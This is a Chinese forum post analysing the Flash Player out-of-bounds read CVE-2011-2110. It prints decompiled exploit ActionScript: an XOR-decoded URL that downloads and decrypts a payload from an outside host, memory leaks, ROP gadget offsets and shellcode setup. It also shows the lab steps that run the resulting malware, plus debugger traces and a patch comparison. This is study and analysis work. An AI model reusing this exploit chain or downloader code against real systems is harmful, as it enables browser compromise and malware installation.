首页
社区
课程
招聘
[原创]CVE-2011-2110 AdobeFlashPlayer数组越界访问漏洞分析
发表于: 2021-8-26 10:36 13976

[原创]CVE-2011-2110 AdobeFlashPlayer数组越界访问漏洞分析

2021-8-26 10:36
13976

这次看的漏洞是CVE-2011-2110,Adobe Flash中的数组越界访问漏洞。虽然越界访问与溢出漏洞都发生了“越界”,但是不管是栈溢出还是堆溢出,最终都能够做到越界写的行为,而数组越界访问,只能做到泄露部分内存数据,和溢出漏洞相比威力小了很多,漏洞利用的方法也更难一些。

书中提供的漏洞利用文件是一个html文件,漏洞本身存在于Adobe FlashPlay中,这里通过在html中嵌入swf文件的方式,实现恶意文件的传播,真正进行漏洞利用的是嵌入的swf文件。

所以先来分析一下这个swf文件,可以使用JPEXS Free Flash Decompiler工具对swf文件进行反编译,得到的代码并不长,只有600+。

代码的开头就在对参数进行处理,可以注意到在嵌入swf文件的时候,传入了一个info参数,这里处理的就是这个参数:

使用CyberChef按照代码的处理方法对info参数进行处理,可以得到最终结果:http://www.amcia.info/down/cd.txt

图片描述

之后代码对环境进行了判断:

可以看到这个代码针对的是IE和Firefox浏览器,其他浏览器都会报错,最后还检查了是否为调试版本、处理器是否为64位,以及是否内嵌在Acrobat PDF中,任意一种情况符合都会报错。

最后代码使用一开始从info参数解码出来的字符串,进行了URL请求:

可见这个代码会联网下载其他文件,同时在下载完成后,执行onLoadComplete函数。

该函数会对下载的文件进行解密,解密方法和info参数一样。

之后创建了一个ByteArray _loc2_,目前还不知道这个变量有什么用,最后调用了test()函数。

test函数占据了这个文件的大部分篇幅,漏洞利用的内容应该也在这个函数中,

Flash版本:10.3.181.23 (下载地址:https://archive.org/details/flashplayerarchive

漏洞利用主机:

操作系统:Win7 32位 SP1简体中文专业版

IE:8.0.7601.17514

服务器主机:

操作系统任意

phpstudy:8.1.1.3

IP地址:192.168.6.198

由于amcia.info已经无法访问,需要自己搭建一个服务器模仿该网站。

使用phpstudy搭建服务器环境,打开Apache服务,在WWW根目录下放置以下文件,文件书籍配套资料有提供:

其中的crossdomain.xml是自己创建的,内容如下:

有了这个文件就允许任意域名跨域访问资源了。

IP地址:192.168.6.40

修改hosts文件,添加记录:

使用Fiddler抓包查看网络连接情况,使用Process Explorer监控进程执行情况。

之后打开IE,访问http://www.amcia.info/cve-2011-2110.html,可以看到Fiddler中:

图片描述

以及Porcess Explorer中:

图片描述

由于我之前设置了windbg作为默认调试器,因此,此时windbg已经自动弹出来了:

在此也可以看出scvhost.exe的路径在临时文件夹中。

注:这里用于实验的main.swf并不是特别稳定,因此需要选择合适的Flash版本才能执行到scvhost.exe出现,除此之外,windows要选择32位的,IE版本也不能太高,我也是实验了几次才最终得到了这个结果。

根据之前对代码简单分析,这里出现异常的scvhost.exe应该就是cd.txt解码之后的结果,main.swf利用了Adobe Flash中存在的漏洞,实现了恶意程序的执行。所以现在的问题应该是main.swf是怎样利用了这个漏洞,而不是最终执行起来的恶意程序为什么出现了异常。

书中提供了针对swf文件,在漏洞利用早期触发异常,从而定位漏洞位置的方法。

对于用于漏洞利用的swf文件,可以直接修改反编译得到的脚本代码,再使用工具Flash Builder重新进行编译,生成新的swf文件。但是应该怎么修改呢?需要分析一下反编译得到的代码:

漏洞利用的主要代码都集中在test函数中,这个函数代码开头是这样的:

一开始的_loc2_rest参数数组的0x4000000E偏移处读取了一个数值,这里肯定是有问题的,正常来说不可能是这么大的偏移。所以漏洞就出现在这里,它允许对rest参数数组进行越界的读取。但是这个越界读取对应到Adobe Flash软件中,又是什么情况呢?

继续往下看,读取的这个数经过处理之后变成了this.baseaddr。也就是说,由于漏洞的存在,我们可以通过越界读取获取内存中的保存的数据,并在之后使用。

test函数后面利用这个baseaddr,通过进一步计算,得到了更多的后续使用的数值:

不同的Flash版本计算的数值不同,这也是为什么一开始环境搭建的时候有些Flash版本并没有成功进行漏洞利用,因为这里的代码并没有考虑所有的情况,对环境依赖严重。

之后开始构建shellcode,后续还存在两次利用数组越界读取获取信息的代码:

所以现在关键是要确定rest参数越界读取是发生在哪里,读取的数值又是什么。

可以修改函数一开始越界读取的索引值,原本是

按照书中所说修改成0x41414141,重新进行测试,windbg断在了这里:

注意到eax寄存器的值就是0x41414141,程序尝试从ecx+eax*4的位置读取数值,这里很好理解,ecx保存的是rest参数基地址,eax是偏移,最后计算出具体位置。

所以现在可以确定漏洞位置位于Flash10s!DllUnregisterServer+0x274e3d,接下来还是用之前正确的main.swf,用windbg附加到IE上,然后在漏洞位置设置断点,再打开目标网址,windbg断在断点处:

可以看到在偏移值为0x4000000E的情况下,读取到的数据是0x0276d078,但是这个值有什么用呢?

如果多次测试,我这里贴出多次测试得到的结果:

注意读取到的数值指向的位置,第二个DWORD与Flash10s.ocx加载基址做减法之后(即它的偏移)始终不变,为0x406E0E

第二个DWORD就是代码中所说的的baseaddr,而代码中根据baseaddr计算出来的数值就是:

可以看到除了this.VirtualAllocthis.virtualprotect由于缺少符号文件无法确定之外,其他的指令地址都是正确的。

同样的原理,继续执行,程序会断在同样的位置,对应代码中的第二次越界读取:

继续执行,程序中断,对应第三次越界读取:

注意到这里的第二个DWORD 076a0000 ,就保存在第二次中断时第二个DWORD所指向的区域。而076a0000中保存的就是代码中的code内容,因为如果回头看一下test函数一开始的代码,它执行了:

其中this.pobj的值为零,所以最后括号中的表达式计算结果就是0x6400F,也就是076a0000处保存的数据的首个DWORD值。

确定了shellcode的位置,在这里下一个读写断点(多次调试,地址改变):

这里执行的指令是mov dword ptr [edi+ecx*4-4],eax,向首四个字节写入了数据,还没有执行到shellcode,继续执行:

可以看到程序到这里就执行到了ROP指令。

根据上面的分析,通过计算异常发生地址与Flash10s.ocx的基址之间的差,得到其偏移为0x3F24B5,在IDA中查看异常发生处的代码:

令人疑惑的索引范围判断......

找到打完补丁之后的10.3.181.26版本中的Flash10t.ocx文件,用IDA打开,让两个文件的基地址保持一致,搜索8B 04 81,即mov eax, [ecx+eax*4]的机器码,在得到的所有结果中,找到与原文件该指令地址.text:674224B5最接近的一条结果:.text:67422426 8B 04 81 mov eax, [ecx+eax*4],这条指令的偏移为0x3F2426

查看所在函数的伪代码:

用来做范围判断的a5是传进来的参数,上方的v8 = *(a3 & 0xFFFFFFF8), v8 < 0.0) || v8 > 4294967295.0和原文件中的代码很像,基本可以判断是同一函数。

如果在漏洞利用的虚拟机上安装10.3.181.26版本的Flash再做一次测试,首先根据IDA中模块的基地址(0x67030000)以及代码所在函数地址(0x67422380)计算出函数的偏移地址(0x3f2380),当windbg附加当IE浏览器上后,检查Flash10t的加载基址(0x67500000),由此得到函数所在地址为(0x678f2380),在此处下断点,然后开始访问目标网址,程序断在了函数开头,

继续单步,直到到达if ( v7 < a5 )的位置:

可以看到eax寄存器中保存的值就是代码中的数组索引值4000000e,而比较的另一个对象,ebp中的值是00000000,由于返回为假,所以程序不会执行到下一步,也就不会发生越界访问了。

通过上面的调试经历,可以看出一些数组越界访问的漏洞利用方法,通过越界访问泄露的数据信息,构造ROP指令,获取shellcode地址,同时需要找到能够调用到该地址的指令,最终实现漏洞利用。

这周的学习很有挫败感,基本上都是在跟随书中的步骤,固然也学到了一些调试swf,action script的技巧,同时也对数组越界访问的漏洞利用有了一部分了解,但是总体来说,这个漏洞对于初次学习数组越界访问漏洞并不友好,缺少symbol文件,网上的信息也不多,对于flash的不了解,更不用说目前flash已经完全不再支持,都导致在学习过程中会有很多疑问无法得到解答。

希望之后遇到同样类型漏洞的时候能够学习到更多内容。

<param name="movie" value="main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" />
<param name="movie" value="main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" />
 
var param:Object = root.loaderInfo.parameters;
var t_url:ByteArray = this.hexToBin(param["info"]);
i = 0;
i = 0;
while(i < t_url.length)
{
   t_url[i] ^= 122;
   i++;
}
t_url.uncompress();
var param:Object = root.loaderInfo.parameters;
var t_url:ByteArray = this.hexToBin(param["info"]);
i = 0;
i = 0;
while(i < t_url.length)
{
   t_url[i] ^= 122;
   i++;
}
t_url.uncompress();
 
 
var error_arr:ByteArray = new ByteArray();
error_arr.writeByte(2053208673);
error_arr.writeObject(error_arr);
var browser:String = ExternalInterface.call("eval","navigator.userAgent");
if(!(browser.toLowerCase().indexOf("msie") > 0 || browser.toLowerCase().indexOf("firefox") > 0))
{
   error_arr.uncompress();
}
if(browser.toLowerCase().indexOf("chrome") > 0)
{
   error_arr.uncompress();
}
if(Capabilities.isDebugger || Capabilities.supports64BitProcesses || Capabilities.isEmbeddedInAcrobat)
{
   error_arr.uncompress();
}
var error_arr:ByteArray = new ByteArray();
error_arr.writeByte(2053208673);
error_arr.writeObject(error_arr);
var browser:String = ExternalInterface.call("eval","navigator.userAgent");
if(!(browser.toLowerCase().indexOf("msie") > 0 || browser.toLowerCase().indexOf("firefox") > 0))
{
   error_arr.uncompress();
}
if(browser.toLowerCase().indexOf("chrome") > 0)
{
   error_arr.uncompress();
}
if(Capabilities.isDebugger || Capabilities.supports64BitProcesses || Capabilities.isEmbeddedInAcrobat)
{
   error_arr.uncompress();
}
 
var url_str:String = String(t_url);
loader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));
var url_str:String = String(t_url);
loader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));
onLoadComplete = function(param1:Event):void
{
   content = loader.data;
   i = 0;
   while(i < content.length)
   {
      content[i] ^= 122;
      ++i;
   }
   content.uncompress();
   content_len = content.length;
   var _loc2_:ByteArray = new ByteArray();
   code = _loc2_;
   _loc2_.position = 1024 * 1024;
   _loc2_.writeInt(2053274210);
   _loc2_.writeInt(2053339747);
   _loc2_.writeInt(2053405283);
   _loc2_.writeObject(_loc2_);
   test();
   trace(_loc2_.length);
};
onLoadComplete = function(param1:Event):void
{
   content = loader.data;
   i = 0;
   while(i < content.length)
   {
      content[i] ^= 122;
      ++i;
   }
   content.uncompress();
   content_len = content.length;
   var _loc2_:ByteArray = new ByteArray();
   code = _loc2_;
   _loc2_.position = 1024 * 1024;
   _loc2_.writeInt(2053274210);
   _loc2_.writeInt(2053339747);
   _loc2_.writeInt(2053405283);
   _loc2_.writeObject(_loc2_);
   test();
   trace(_loc2_.length);
};
 
 
 
 
 
 
 
 
 
 
down\
    cd.txt
cve-2011-2110.html
main.swf
crossdomain.xml
down\
    cd.txt
cve-2011-2110.html
main.swf
crossdomain.xml
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
 
192.168.6.198  www.amcia.info
192.168.6.198  www.amcia.info
 
 
 
 
 
(e04.810): Invalid lock sequence - code c000001e (!!! second chance !!!)
eax=00000000 ebx=7ffd4000 ecx=00000000 edx=004033d9 esi=00000000 edi=00000000
eip=00403425 esp=0012ff5c ebp=0012ff88 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010293
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\test\AppData\Local\Temp\Low\scvhost.exe
scvhost+0x3425:
00403425 f04b            lock dec ebx
(e04.810): Invalid lock sequence - code c000001e (!!! second chance !!!)
eax=00000000 ebx=7ffd4000 ecx=00000000 edx=004033d9 esi=00000000 edi=00000000
eip=00403425 esp=0012ff5c ebp=0012ff88 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010293
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\test\AppData\Local\Temp\Low\scvhost.exe
scvhost+0x3425:
00403425 f04b            lock dec ebx
 
 
 
 
public function test(... rest) : void
{
    var _loc8_:int = 0;
    var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));
    var _loc3_:ByteArray = new ByteArray();
    _loc3_.position = 0;
    _loc3_.writeDouble(_loc2_);
    var _loc4_:uint = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
    this.baseaddr = _loc4_;
    this.code.position = 0;
    this.code.endian = Endian.LITTLE_ENDIAN;
    this.code.writeInt(this.pobj - 1 + 16 + 409600);
    this.code.endian = Endian.BIG_ENDIAN;
    this.code.writeUnsignedInt(0x41414141);
    this.code.writeUnsignedInt(0x41414141);
    this.code.writeUnsignedInt(0x41414141);
    _loc8_ = 0;
    while(_loc8_ < 102400)
    {
       this.code.writeUnsignedInt(0x41414141);
       _loc8_++;
    }
...
public function test(... rest) : void
{
    var _loc8_:int = 0;
    var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));
    var _loc3_:ByteArray = new ByteArray();
    _loc3_.position = 0;
    _loc3_.writeDouble(_loc2_);
    var _loc4_:uint = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
    this.baseaddr = _loc4_;
    this.code.position = 0;
    this.code.endian = Endian.LITTLE_ENDIAN;
    this.code.writeInt(this.pobj - 1 + 16 + 409600);
    this.code.endian = Endian.BIG_ENDIAN;
    this.code.writeUnsignedInt(0x41414141);
    this.code.writeUnsignedInt(0x41414141);
    this.code.writeUnsignedInt(0x41414141);
    _loc8_ = 0;
    while(_loc8_ < 102400)
    {
       this.code.writeUnsignedInt(0x41414141);
       _loc8_++;
    }
...
 
 
this.xchg_eax_esp_ret = this.baseaddr - 0x3F48E7;
this.xchg_eax_esi_ret = this.baseaddr - 0x2FF589;
this.pop_eax_ret = this.baseaddr - 0x405D48;
this.VirtualAlloc = this.baseaddr + 0xA6626;
this.jmp_eax = this.baseaddr - 0x3FF11F;
this.pop_ecx = this.baseaddr - 0x405DA0;
this.mov_eax_ecx = this.baseaddr - 0x3B90CC;
this.inc_eax_ret = this.baseaddr - 0x405D4C;
this.dec_eax_ret = this.baseaddr - 0x3BBD96;
this.to_eax = this.baseaddr - 0x3ADC67;
this.virtualprotect = this.baseaddr + 0xA65F2;
this.xchg_eax_esp_ret = this.baseaddr - 0x3F48E7;
this.xchg_eax_esi_ret = this.baseaddr - 0x2FF589;
this.pop_eax_ret = this.baseaddr - 0x405D48;
this.VirtualAlloc = this.baseaddr + 0xA6626;
this.jmp_eax = this.baseaddr - 0x3FF11F;
this.pop_ecx = this.baseaddr - 0x405DA0;
this.mov_eax_ecx = this.baseaddr - 0x3B90CC;
this.inc_eax_ret = this.baseaddr - 0x405D4C;
this.dec_eax_ret = this.baseaddr - 0x3BBD96;
this.to_eax = this.baseaddr - 0x3ADC67;
this.virtualprotect = this.baseaddr + 0xA65F2;
 
var _loc5_:Number = new Number(parseFloat(String(rest[0x3FFFFF96])));
var _loc6_:ByteArray;
(_loc6_ = new ByteArray()).writeDouble(_loc5_);
var _loc7_:uint = _loc6_[0] * 0x1000000 + _loc6_[1] * 0x10000 + _loc6_[2] * 0x100 + _loc6_[3];
this.pobj = _loc7_;
_loc8_ = 0;
this.pobj += 56;
_loc8_ = 0;
while(_loc8_ < 100)
{
   this.code.writeInt(this.pobj);
   _loc8_++;
}
var _loc9_:Number = new Number(parseFloat(String(rest[0x3FFFFFBA])));
_loc3_.position = 0;
_loc3_.writeDouble(_loc9_);
_loc4_ = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
this.pobj = _loc4_ + 2;
ExternalInterface.call("",this.pobj.toString(16));
_loc8_ = 0;
while(_loc8_ < 100)
{
   this.code.writeInt(this.pobj);
   _loc8_++;
}
var _loc5_:Number = new Number(parseFloat(String(rest[0x3FFFFF96])));
var _loc6_:ByteArray;
(_loc6_ = new ByteArray()).writeDouble(_loc5_);
var _loc7_:uint = _loc6_[0] * 0x1000000 + _loc6_[1] * 0x10000 + _loc6_[2] * 0x100 + _loc6_[3];
this.pobj = _loc7_;
_loc8_ = 0;
this.pobj += 56;
_loc8_ = 0;
while(_loc8_ < 100)
{
   this.code.writeInt(this.pobj);
   _loc8_++;
}
var _loc9_:Number = new Number(parseFloat(String(rest[0x3FFFFFBA])));
_loc3_.position = 0;
_loc3_.writeDouble(_loc9_);
_loc4_ = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
this.pobj = _loc4_ + 2;
ExternalInterface.call("",this.pobj.toString(16));
_loc8_ = 0;
while(_loc8_ < 100)
{
   this.code.writeInt(this.pobj);
   _loc8_++;
}
 
var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));
var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));
(cb8.7dc): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=0594a040 ecx=0256d07c edx=0256d07c esi=0581a0d0 edi=0581a0d0
eip=68f724b5 esp=0256cef4 ebp=0256d020 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\Macromed\Flash\Flash10s.ocx -
Flash10s!DllUnregisterServer+0x274e3d:
68f724b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:075bd580=????????
(cb8.7dc): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=0594a040 ecx=0256d07c edx=0256d07c esi=0581a0d0 edi=0581a0d0
eip=68f724b5 esp=0256cef4 ebp=0256d020 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\Macromed\Flash\Flash10s.ocx -
Flash10s!DllUnregisterServer+0x274e3d:
68f724b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:075bd580=????????
0:011> bu Flash10s!DllUnregisterServer+0x274e3d
0:011> g
Breakpoint 0 hit
eax=4000000e ebx=0598d040 ecx=0276cfec edx=0276cfec esi=058fa0d0 edi=058fa0d0
eip=674224b5 esp=0276ce74 ebp=0276cf90 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
Flash10s!DllUnregisterServer+0x274e3d:
674224b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:0276d024=0276d078
0:011> bu Flash10s!DllUnregisterServer+0x274e3d
0:011> g
Breakpoint 0 hit
eax=4000000e ebx=0598d040 ecx=0276cfec edx=0276cfec esi=058fa0d0 edi=058fa0d0

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (3)
雪    币: 7
活跃值: (4331)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
2
重复投稿了师傅,一篇文章同时投了两次
2021-8-26 10:54
0
雪    币: 12016
活跃值: (10399)
能力值: ( LV13,RANK:660 )
在线值:
发帖
回帖
粉丝
3
0x2l 重复投稿了师傅,一篇文章同时投了两次
点击发表之后直接发了两篇出来,我也不知道怎么回事,版主删掉一篇吧
2021-8-26 11:14
0
雪    币: 7
活跃值: (4331)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
4
LarryS 点击发表之后直接发了两篇出来,我也不知道怎么回事,版主删掉一篇吧
已经把另一篇删了
2021-8-26 14:15
0
游客
登录 | 注册 方可回帖
返回
//